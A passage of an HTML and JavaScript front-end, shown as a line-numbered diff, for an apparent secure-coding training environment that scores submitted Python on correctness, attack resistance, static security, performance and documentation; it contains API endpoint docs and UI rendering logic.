| 456 |
-
<div class="ep-row">
|
| 457 |
-
<div class="ep-path"><span class="method post">POST</span> /step</div>
|
| 458 |
-
<div class="ep-desc">Submit code. Body: <code>{"session_id":"...","code":"...","filename":"..."}</code>. Returns reward + feedback.</div>
|
| 459 |
-
</div>
|
| 460 |
-
<div class="ep-row">
|
| 461 |
-
<div class="ep-path"><span class="method get">GET</span> /state</div>
|
| 462 |
-
<div class="ep-desc">Get episode state. Query: <code>?session_id=...</code></div>
|
| 463 |
-
</div>
|
| 464 |
-
<div class="ep-row">
|
| 465 |
-
<div class="ep-path"><span class="method get">GET</span> /tasks</div>
|
| 466 |
-
<div class="ep-desc">List tasks. Query: <code>?difficulty=easy</code> (optional filter)</div>
|
| 467 |
-
</div>
|
| 468 |
-
<div class="ep-row">
|
| 469 |
-
<div class="ep-path"><span class="method get">GET</span> /tasks/{id}</div>
|
| 470 |
-
<div class="ep-desc">Full task detail including starter code and security checks</div>
|
| 471 |
-
</div>
|
| 472 |
-
<div class="ep-row">
|
| 473 |
-
<div class="ep-path"><span class="method get">GET</span> /docs</div>
|
| 474 |
-
<div class="ep-desc">Auto-generated Swagger UI (FastAPI)</div>
|
| 475 |
-
</div>
|
| 476 |
-
</div>
|
| 477 |
-
|
| 478 |
-
<div class="docs-card">
|
| 479 |
-
<div class="docs-h2">Reward Dimensions</div>
|
| 480 |
-
<table style="width:100%;font-size:12px;font-family:var(--mono);border-collapse:collapse">
|
| 481 |
-
<tr style="border-bottom:1px solid var(--border);color:var(--muted)">
|
| 482 |
-
<td style="padding:6px 8px">Dimension</td>
|
| 483 |
-
<td style="padding:6px 8px">Weight</td>
|
| 484 |
-
<td style="padding:6px 8px">Tool</td>
|
| 485 |
-
<td style="padding:6px 8px">Measures</td>
|
| 486 |
-
</tr>
|
| 487 |
-
<tr style="border-bottom:1px solid var(--border)">
|
| 488 |
-
<td style="padding:6px 8px;color:var(--accent)">correctness</td>
|
| 489 |
-
<td style="padding:6px 8px">30%</td>
|
| 490 |
-
<td style="padding:6px 8px;color:var(--muted)">Custom runner</td>
|
| 491 |
-
<td style="padding:6px 8px;color:var(--muted)">Test cases passed</td>
|
| 492 |
-
</tr>
|
| 493 |
-
<tr style="border-bottom:1px solid var(--border)">
|
| 494 |
-
<td style="padding:6px 8px;color:var(--accent)">attack_resist</td>
|
| 495 |
-
<td style="padding:6px 8px">20%</td>
|
| 496 |
-
<td style="padding:6px 8px;color:var(--muted)">Dynamic harness</td>
|
| 497 |
-
<td style="padding:6px 8px;color:var(--muted)">Real attack payloads blocked</td>
|
| 498 |
-
</tr>
|
| 499 |
-
<tr style="border-bottom:1px solid var(--border)">
|
| 500 |
-
<td style="padding:6px 8px;color:var(--accent)">static_security</td>
|
| 501 |
-
<td style="padding:6px 8px">15%</td>
|
| 502 |
-
<td style="padding:6px 8px;color:var(--muted)">bandit + AST</td>
|
| 503 |
-
<td style="padding:6px 8px;color:var(--muted)">CWE-mapped vulnerability patterns</td>
|
| 504 |
-
</tr>
|
| 505 |
-
<tr style="border-bottom:1px solid var(--border)">
|
| 506 |
-
<td style="padding:6px 8px;color:var(--accent)">consistency</td>
|
| 507 |
-
<td style="padding:6px 8px">15%</td>
|
| 508 |
-
<td style="padding:6px 8px;color:var(--muted)">CodeGraph</td>
|
| 509 |
-
<td style="padding:6px 8px;color:var(--muted)">Codebase convention adherence</td>
|
| 510 |
-
</tr>
|
| 511 |
-
<tr style="border-bottom:1px solid var(--border)">
|
| 512 |
-
<td style="padding:6px 8px;color:var(--accent)">performance</td>
|
| 513 |
-
<td style="padding:6px 8px">10%</td>
|
| 514 |
-
<td style="padding:6px 8px;color:var(--muted)">timeit</td>
|
| 515 |
-
<td style="padding:6px 8px;color:var(--muted)">Speed vs naive/optimal baselines</td>
|
| 516 |
-
</tr>
|
| 517 |
-
<tr style="border-bottom:1px solid var(--border)">
|
| 518 |
-
<td style="padding:6px 8px;color:var(--accent)">documentation</td>
|
| 519 |
-
<td style="padding:6px 8px">5%</td>
|
| 520 |
-
<td style="padding:6px 8px;color:var(--muted)">AST</td>
|
| 521 |
-
<td style="padding:6px 8px;color:var(--muted)">Docstrings + type hints coverage</td>
|
| 522 |
-
</tr>
|
| 523 |
-
<tr>
|
| 524 |
-
<td style="padding:6px 8px;color:var(--accent)">code_structure</td>
|
| 525 |
-
<td style="padding:6px 8px">5%</td>
|
| 526 |
-
<td style="padding:6px 8px;color:var(--muted)">AST</td>
|
| 527 |
-
<td style="padding:6px 8px;color:var(--muted)">No bare print/except, clean structure</td>
|
| 528 |
-
</tr>
|
| 529 |
-
</table>
|
| 530 |
-
</div>
|
| 531 |
-
</div>
|
| 532 |
-
</div><!-- /main -->
|
| 533 |
-
|
| 534 |
-
<script>
|
| 535 |
-
// ── State ──────────────────────────────────────────────────────────────────
|
| 536 |
-
const state = {
|
| 537 |
-
sessionId: null,
|
| 538 |
-
task: null,
|
| 539 |
-
stepCount: 0,
|
| 540 |
-
done: false,
|
| 541 |
-
history: [],
|
| 542 |
-
allTasks: [],
|
| 543 |
-
};
|
| 544 |
-
|
| 545 |
-
const WEIGHTS = {
|
| 546 |
-
correctness:0.30, attack_resist:0.20, static_security:0.15,
|
| 547 |
-
consistency:0.15, performance:0.10, documentation:0.05, code_structure:0.05
|
| 548 |
-
};
|
| 549 |
-
|
| 550 |
-
// ── Init ───────────────────────────────────────────────────────────────────
|
| 551 |
-
document.addEventListener('DOMContentLoaded', () => {
|
| 552 |
-
checkHealth();
|
| 553 |
-
loadTasksDropdown();
|
| 554 |
-
renderWeightChart();
|
| 555 |
-
document.getElementById('code-editor').addEventListener('input', updateCharCount);
|
| 556 |
-
updateCharCount();
|
| 557 |
-
});
|
| 558 |
-
|
| 559 |
-
// ── Health check ───────────────────────────────────────────────────────────
|
| 560 |
-
async function checkHealth() {
|
| 561 |
-
const dot = document.getElementById('status-dot');
|
| 562 |
-
const txt = document.getElementById('status-text');
|
| 563 |
-
try {
|
| 564 |
-
const r = await fetch('/health');
|
| 565 |
-
const d = await r.json();
|
| 566 |
-
dot.className = 'dot pulse';
|
| 567 |
-
txt.textContent = `${d.env} v${d.version} · ${d.tasks_loaded} tasks`;
|
| 568 |
-
} catch(e) {
|
| 569 |
-
dot.className = 'dot red';
|
| 570 |
-
txt.textContent = 'Environment unreachable';
|
| 571 |
-
}
|
| 572 |
-
}
|
| 573 |
-
|
| 574 |
-
// ── Tab navigation ─────────────────────────────────────────────────────────
|
| 575 |
-
function showPanel(id, btn) {
|
| 576 |
-
document.querySelectorAll('.panel').forEach(p => p.classList.remove('active'));
|
| 577 |
-
document.querySelectorAll('.ntab').forEach(t => t.classList.remove('active'));
|
| 578 |
-
document.getElementById('panel-'+id).classList.add('active');
|
| 579 |
-
btn.classList.add('active');
|
| 580 |
-
if (id === 'tasks' && state.allTasks.length === 0) loadTasksList();
|
| 581 |
-
}
|
| 582 |
-
|
| 583 |
-
// ── Task dropdown ──────────────────────────────────────────────────────────
|
| 584 |
-
async function loadTasksDropdown() {
|
| 585 |
-
try {
|
| 586 |
-
const r = await fetch('/tasks');
|
| 587 |
-
const tasks = await r.json();
|
| 588 |
-
state.allTasks = tasks;
|
| 589 |
-
const sel = document.getElementById('task-select');
|
| 590 |
-
tasks.forEach(t => {
|
| 591 |
-
const opt = document.createElement('option');
|
| 592 |
-
opt.value = t.id;
|
| 593 |
-
opt.textContent = `${t.id.replace(/_/g,' ')}`;
|
| 594 |
-
sel.appendChild(opt);
|
| 595 |
-
});
|
| 596 |
-
} catch(e) {}
|
| 597 |
-
}
|
| 598 |
-
|
| 599 |
-
// ── Reset episode ──────────────────────────────────────────────────────────
|
| 600 |
-
async function doReset() {
|
| 601 |
-
const btn = document.getElementById('btn-reset');
|
| 602 |
-
const spin = document.getElementById('reset-spinner');
|
| 603 |
-
btn.disabled = true; spin.style.display = 'inline-block';
|
| 604 |
-
clearAlert();
|
| 605 |
-
|
| 606 |
-
const difficulty = document.getElementById('diff-select').value;
|
| 607 |
-
const taskId = document.getElementById('task-select').value;
|
| 608 |
-
|
| 609 |
-
try {
|
| 610 |
-
const body = { difficulty };
|
| 611 |
-
if (taskId) body.task_id = taskId;
|
| 612 |
-
const r = await fetch('/reset', {
|
| 613 |
-
method: 'POST',
|
| 614 |
-
headers: {'Content-Type':'application/json'},
|
| 615 |
-
body: JSON.stringify(body)
|
| 616 |
-
});
|
| 617 |
-
if (!r.ok) {
|
| 618 |
-
const e = await r.json();
|
| 619 |
-
showAlert(e.detail || 'Reset failed', 'error');
|
| 620 |
-
return;
|
| 621 |
-
}
|
| 622 |
-
const d = await r.json();
|
| 623 |
-
state.sessionId = d.session_id;
|
| 624 |
-
state.task = d;
|
| 625 |
-
state.stepCount = 0;
|
| 626 |
-
state.done = false;
|
| 627 |
-
state.history = [];
|
| 628 |
-
|
| 629 |
-
renderTask(d);
|
| 630 |
-
resetResultPanel();
|
| 631 |
-
updateStepCounter();
|
| 632 |
-
document.getElementById('btn-submit').disabled = false;
|
| 633 |
-
document.getElementById('session-badge').style.display = 'inline';
|
| 634 |
-
document.getElementById('session-badge').textContent = d.session_id.slice(0,8) + '…';
|
| 635 |
-
showAlert(`✓ Episode started: ${d.task_id}`, 'success');
|
| 636 |
-
} catch(e) {
|
| 637 |
-
showAlert('Network error: ' + e.message, 'error');
|
| 638 |
-
} finally {
|
| 639 |
-
btn.disabled = false; spin.style.display = 'none';
|
| 640 |
-
}
|
| 641 |
-
}
|
| 642 |
-
|
| 643 |
-
// ── Submit step ────────────────────────────────────────────────────────────
|
| 644 |
-
async function doStep() {
|
| 645 |
-
if (!state.sessionId) { showAlert('Reset an episode first', 'error'); return; }
|
| 646 |
-
const code = document.getElementById('code-editor').value.trim();
|
| 647 |
-
if (!code) { showAlert('Write some code first', 'error'); return; }
|
| 648 |
-
|
| 649 |
-
const btn = document.getElementById('btn-submit');
|
| 650 |
-
const spin = document.getElementById('submit-spinner');
|
| 651 |
-
btn.disabled = true; spin.style.display = 'inline-block';
|
| 652 |
-
clearAlert();
|
| 653 |
-
|
| 654 |
-
try {
|
| 655 |
-
const r = await fetch('/step', {
|
| 656 |
-
method: 'POST',
|
| 657 |
-
headers: {'Content-Type':'application/json'},
|
| 658 |
-
body: JSON.stringify({
|
| 659 |
-
session_id: state.sessionId,
|
| 660 |
-
code,
|
| 661 |
-
filename: `solution_step${state.stepCount}.py`
|
| 662 |
-
})
|
| 663 |
-
});
|
| 664 |
-
if (!r.ok) {
|
| 665 |
-
const e = await r.json();
|
| 666 |
-
showAlert(e.detail || 'Step failed', 'error');
|
| 667 |
-
if (r.status === 400 && e.detail.includes('done')) {
|
| 668 |
-
btn.disabled = true;
|
| 669 |
-
}
|
| 670 |
-
return;
|
| 671 |
-
}
|
| 672 |
-
const d = await r.json();
|
| 673 |
-
state.stepCount = d.step_count;
|
| 674 |
-
state.done = d.done;
|
| 675 |
-
state.history.push({ step: d.step_count, reward: d.total_reward, done: d.done });
|
| 676 |
-
|
| 677 |
-
renderReward(d.total_reward);
|
| 678 |
-
renderScores(d.scores, d.details);
|
| 679 |
-
renderFeedback(d.feedback);
|
| 680 |
-
renderHistory();
|
| 681 |
-
updateStepCounter();
|
| 682 |
-
|
| 683 |
-
if (d.done) {
|
| 684 |
-
btn.disabled = true;
|
| 685 |
-
document.getElementById('done-badge').style.display = 'inline';
|
| 686 |
-
const msg = d.total_reward >= 0.9
|
| 687 |
-
? '🎉 Excellent! Episode solved!'
|
| 688 |
-
: `Episode complete after ${d.step_count} steps`;
|
| 689 |
-
showAlert(msg, d.total_reward >= 0.9 ? 'success' : 'info');
|
| 690 |
-
}
|
| 691 |
-
} catch(e) {
|
| 692 |
-
showAlert('Network error: ' + e.message, 'error');
|
| 693 |
-
} finally {
|
| 694 |
-
if (!state.done) btn.disabled = false;
|
| 695 |
-
spin.style.display = 'none';
|
| 696 |
-
}
|
| 697 |
-
}
|
| 698 |
-
|
| 699 |
-
// ── Render helpers ─────────────────────────────────────────────────────────
|
| 700 |
-
function renderTask(d) {
|
| 701 |
-
const area = document.getElementById('task-area');
|
| 702 |
-
area.style.display = 'block';
|
| 703 |
-
|
| 704 |
-
const meta = document.getElementById('task-meta');
|
| 705 |
-
const diffClass = d.difficulty;
|
| 706 |
-
meta.innerHTML = `<span class="diff-tag ${diffClass}">${d.difficulty}</span>`
|
| 707 |
-
+ d.cwe_targets.map(c => `<span class="cwe">${c}</span>`).join('');
|
| 708 |
-
|
| 709 |
-
document.getElementById('task-box').textContent = d.problem_statement;
|
| 710 |
-
document.getElementById('editor-filename').textContent =
|
| 711 |
-
state.allTasks.find(t => t.id === d.task_id)?.id?.replace('_','/')+'.py' || 'solution.py';
|
| 712 |
-
}
|
| 713 |
-
|
| 714 |
-
function renderReward(reward) {
|
| 715 |
-
const n = document.getElementById('reward-number');
|
| 716 |
-
const bar = document.getElementById('reward-bar');
|
| 717 |
-
n.textContent = reward.toFixed(3);
|
| 718 |
-
n.style.color = reward >= 0.9 ? 'var(--a3)' : reward >= 0.6 ? 'var(--accent)' : 'var(--danger)';
|
| 719 |
-
bar.style.width = (reward * 100) + '%';
|
| 720 |
-
bar.style.background = reward >= 0.9 ? 'var(--a3)' : reward >= 0.6 ? 'var(--accent)' : 'var(--danger)';
|
| 721 |
-
}
|
| 722 |
-
|
| 723 |
-
function renderScores(scores, details) {
|
| 724 |
-
const el = document.getElementById('score-breakdown');
|
| 725 |
-
const rows = Object.entries(scores).map(([k, v]) => {
|
| 726 |
-
const pct = Math.round(v * 100);
|
| 727 |
-
const color = v >= 0.8 ? 'var(--a3)' : v >= 0.5 ? 'var(--accent)' : 'var(--danger)';
|
| 728 |
-
const w = Math.round(WEIGHTS[k] * 100);
|
| 729 |
-
let extra = '';
|
| 730 |
-
if (details) {
|
| 731 |
-
if (k === 'correctness' && details.correctness_total) {
|
| 732 |
-
extra = ` (${details.correctness_passed}/${details.correctness_total})`;
|
| 733 |
-
} else if (k === 'attack_resist' && details.attacks_total) {
|
| 734 |
-
extra = ` (${details.attacks_blocked}/${details.attacks_total} blocked)`;
|
| 735 |
-
}
|
| 736 |
-
}
|
| 737 |
-
return `<div class="score-row">
|
| 738 |
-
<div class="score-dim">${k}${extra}</div>
|
| 739 |
-
<div class="score-bar-bg"><div class="score-bar-fg" style="width:${pct}%;background:${color}"></div></div>
|
| 740 |
-
<div class="score-val" style="color:${color}">${v.toFixed(2)}</div>
|
| 741 |
-
<div class="weight-tag">${w}%</div>
|
| 742 |
-
</div>`;
|
| 743 |
-
});
|
| 744 |
-
el.innerHTML = rows.join('');
|
| 745 |
-
document.getElementById('summary-text').textContent = '';
|
| 746 |
-
}
|
| 747 |
-
|
| 748 |
-
function renderFeedback(feedback) {
|
| 749 |
-
const el = document.getElementById('feedback-area');
|
| 750 |
-
const summary = feedback.summary || '';
|
| 751 |
-
const items = Object.entries(feedback).filter(([k]) => k !== 'summary');
|
| 752 |
-
const good = (v) => v.startsWith('Excellent') || v.startsWith('Clean') || v.startsWith('Well');
|
| 753 |
-
const bad = (v) => v.includes('Poor') || v.includes('Vulnerable') || v.includes('major') || v.includes('HIGH');
|
| 754 |
-
|
| 755 |
-
const html = `<div class="fb-item ${summary.includes('✅') ? 'good' : summary.includes('🔴') ? 'bad' : 'warn'}">${escHtml(summary)}</div>`
|
| 756 |
-
+ items.map(([k, v]) => {
|
| 757 |
-
const cls = good(v) ? 'good' : bad(v) ? 'bad' : 'warn';
|
| 758 |
-
return `<div class="fb-item ${cls}"><strong>${k}:</strong> ${escHtml(v)}</div>`;
|
| 759 |
-
}).join('');
|
| 760 |
-
el.innerHTML = html;
|
| 761 |
-
}
|
| 762 |
-
|
| 763 |
-
function renderHistory() {
|
| 764 |
-
const el = document.getElementById('history-area');
|
| 765 |
-
const count = document.getElementById('history-count');
|
| 766 |
-
count.textContent = `${state.history.length} steps`;
|
| 767 |
-
if (!state.history.length) { el.innerHTML = '<div class="empty" style="padding:20px"><div class="empty-text">No submissions yet</div></div>'; return; }
|
| 768 |
-
el.innerHTML = state.history.map(h => {
|
| 769 |
-
const color = h.reward >= 0.9 ? 'var(--a3)' : h.reward >= 0.6 ? 'var(--accent)' : 'var(--danger)';
|
| 770 |
-
return `<div class="history-item">
|
| 771 |
-
<span class="h-step">Step ${h.step}</span>
|
| 772 |
-
<span class="h-reward" style="color:${color}">${h.reward.toFixed(3)}</span>
|
| 773 |
-
<div class="h-bar"><div class="h-bar-fg" style="width:${h.reward*100}%;background:${color}"></div></div>
|
| 774 |
-
${h.done ? '<span class="h-done">done</span>' : ''}
|
| 775 |
-
</div>`;
|
| 776 |
-
}).join('');
|
| 777 |
-
}
|
| 778 |
-
|
| 779 |
-
function resetResultPanel() {
|
| 780 |
-
document.getElementById('reward-number').textContent = '—';
|
| 781 |
-
document.getElementById('reward-number').style.color = 'var(--muted)';
|
| 782 |
-
document.getElementById('reward-bar').style.width = '0%';
|
| 783 |
-
document.getElementById('score-breakdown').innerHTML = '<div class="empty"><div class="empty-icon">📊</div><div class="empty-text">Submit code to see scores</div></div>';
|
| 784 |
-
document.getElementById('feedback-area').innerHTML = '<div class="empty"><div class="empty-icon">💬</div><div class="empty-text">Feedback will appear here</div></div>';
|
| 785 |
-
document.getElementById('history-area').innerHTML = '<div class="empty" style="padding:20px"><div class="empty-text">No submissions yet</div></div>';
|
| 786 |
-
document.getElementById('history-count').textContent = '0 steps';
|
| 787 |
-
document.getElementById('done-badge').style.display = 'none';
|
| 788 |
-
document.getElementById('summary-text').textContent = '';
|
| 789 |
-
}
|
| 790 |
-
|
| 791 |
-
function updateStepCounter() {
|
| 792 |
-
document.getElementById('step-counter').textContent = `Step ${state.stepCount}/5`;
|
| 793 |
-
}
|
| 794 |
-
|
| 795 |
-
function updateCharCount() {
|
| 796 |
-
const len = document.getElementById('code-editor').value.length;
|
| 797 |
-
document.getElementById('char-count').textContent = `${len} chars`;
|
| 798 |
-
}
|
| 799 |
-
|
| 800 |
-
// ── Editor helpers ─────────────────────────────────────────────────────────
|
| 801 |
-
async function loadStarter() {
|
| 802 |
-
if (!state.task) { showAlert('Reset an episode first', 'error'); return; }
|
| 803 |
-
const tid = state.task.task_id;
|
| 804 |
-
try {
|
| 805 |
-
const r = await fetch(`/tasks/${tid}`);
|
| 806 |
-
const d = await r.json();
|
| 807 |
-
if (d.starter_code) {
|
| 808 |
-
document.getElementById('code-editor').value = d.starter_code;
|
| 809 |
-
updateCharCount();
|
| 810 |
-
}
|
| 811 |
-
} catch(e) {}
|
| 812 |
-
}
|
| 813 |
-
|
| 814 |
-
function clearEditor() {
|
| 815 |
-
document.getElementById('code-editor').value = '';
|
| 816 |
-
updateCharCount();
|
| 817 |
-
}
|
| 818 |
-
|
| 819 |
-
// ── Alert ──────────────────────────────────────────────────────────────────
|
| 820 |
-
function showAlert(msg, type='info') {
|
| 821 |
-
const el = document.getElementById('alert-area');
|
| 822 |
-
const cls = type === 'error' ? 'alert-error' : type === 'success' ? 'alert-success' : 'alert-info';
|
| 823 |
-
el.innerHTML = `<div class="alert ${cls}">${escHtml(msg)}</div>`;
|
| 824 |
-
setTimeout(() => { el.innerHTML = ''; }, 5000);
|
| 825 |
-
}
|
| 826 |
-
function clearAlert() { document.getElementById('alert-area').innerHTML = ''; }
|
| 827 |
-
|
| 828 |
-
// ── Tasks list ─────────────────────────────────────────────────────────────
|
| 829 |
-
let taskFilter = 'all';
|
| 830 |
-
async function loadTasksList() {
|
| 831 |
-
if (state.allTasks.length === 0) {
|
| 832 |
-
const r = await fetch('/tasks');
|
| 833 |
-
state.allTasks = await r.json();
|
| 834 |
-
}
|
| 835 |
-
filterTasks('all');
|
| 836 |
-
}
|
| 837 |
-
|
| 838 |
-
function filterTasks(diff) {
|
| 839 |
-
taskFilter = diff;
|
| 840 |
-
['all','easy','medium','hard'].forEach(d => {
|
| 841 |
-
document.getElementById('f-'+d).style.borderColor = '';
|
| 842 |
-
document.getElementById('f-'+d).style.color = '';
|
| 843 |
-
});
|
| 844 |
-
document.getElementById('f-'+diff).style.borderColor = 'var(--accent)';
|
| 845 |
-
document.getElementById('f-'+diff).style.color = 'var(--accent)';
|
| 846 |
-
|
| 847 |
-
const tasks = diff === 'all' ? state.allTasks : state.allTasks.filter(t => t.difficulty === diff);
|
| 848 |
-
const el = document.getElementById('task-list-container');
|
| 849 |
-
if (!tasks.length) { el.innerHTML = '<div class="empty"><div class="empty-text">No tasks found</div></div>'; return; }
|
| 850 |
-
el.innerHTML = tasks.map(t => `
|
| 851 |
-
<div class="task-list-item" onclick="tryTask('${t.id}')">
|
| 852 |
-
<div class="tli-header">
|
| 853 |
-
<div class="tli-name">${t.id.replace(/_/g,' ')}</div>
|
| 854 |
-
<span class="diff-tag ${t.difficulty}">${t.difficulty}</span>
|
| 855 |
-
</div>
|
| 856 |
-
<div class="tli-desc">${escHtml((t.description||'').slice(0,100))}${t.description?.length > 100 ? '…' : ''}</div>
|
| 857 |
-
<div class="tli-footer">
|
| 858 |
-
${t.cwe_targets.map(c => `<span class="cwe">${c}</span>`).join('')}
|
| 859 |
-
<span class="badge bo" style="font-size:9px;margin-left:auto">Try it →</span>
|
| 860 |
-
</div>
|
| 861 |
-
</div>
|
| 862 |
-
`).join('');
|
| 863 |
-
}
|
| 864 |
-
|
| 865 |
-
function tryTask(taskId) {
|
| 866 |
-
showPanel('playground', document.querySelector('.ntab'));
|
| 867 |
-
document.querySelectorAll('.ntab')[0].click();
|
| 868 |
-
document.getElementById('task-select').value = taskId;
|
| 869 |
-
doReset();
|
| 870 |
-
}
|
| 871 |
-
|
| 872 |
-
// ── Weight chart ───────────────────────────────────────────────────────────
|
| 873 |
-
function renderWeightChart() {
|
| 874 |
-
const el = document.getElementById('weight-chart');
|
| 875 |
-
const entries = [
|
| 876 |
-
['correctness', 0.30], ['attack_resist', 0.20],
|
| 877 |
-
['static_security', 0.15], ['consistency', 0.15],
|
| 878 |
-
['performance', 0.10], ['documentation', 0.05], ['code_structure', 0.05]
|
| 879 |
-
];
|
| 880 |
-
el.innerHTML = entries.map(([name, w]) => `
|
| 881 |
-
<div class="weight-bar-row">
|
| 882 |
-
<div class="wbr-name">${name}</div>
|
| 883 |
-
<div class="wbr-bg"><div class="wbr-fg" style="width:${w*100*3.33}%"></div></div>
|
| 884 |
-
<div class="wbr-val">${Math.round(w*100)}%</div>
|
| 885 |
-
</div>
|
| 886 |
-
`).join('');
|
| 887 |
-
setTimeout(() => {
|
| 888 |
-
document.querySelectorAll('.wbr-fg').forEach(b => {
|
| 889 |
-
b.style.transition = 'width .8s ease';
|
| 890 |
-
});
|
| 891 |
-
}, 100);
|
| 892 |
-
}
|
| 893 |
-
|
| 894 |
-
// ── Utils ──────────────────────────────────────────────────────────────────
|
| 895 |
-
function escHtml(s) {
|
| 896 |
-
return String(s||'').replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>').replace(/"/g,'"');
|
| 897 |
-
}
|
| 898 |
-
|
| 899 |
-
// Tab key in textarea
|
| 900 |
-
document.addEventListener('keydown', e => {
|
| 901 |
-
if (e.target.id === 'code-editor' && e.key === 'Tab') {
|
| 902 |
-
e.preventDefault();
|
| 903 |
-
const s = e.target.selectionStart, en = e.target.selectionEnd;
|
| 904 |
-
e.target.value = e.target.value.substring(0, s) + ' ' + e.target.value.substring(en);
|
| 905 |
-
e.target.selectionStart = e.target.selectionEnd = s + 4;
|
| 906 |
-
updateCharCount();
|
| 907 |
-
}
|
| 908 |
-
// Ctrl+Enter to submit
|
| 909 |
-
if ((e.ctrlKey || e.metaKey) && e.key === 'Enter') doStep();
|
| 910 |
-
});
|
| 911 |
-
</script>
|
| 912 |
-
</body>
|
| 913 |
-
</html>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
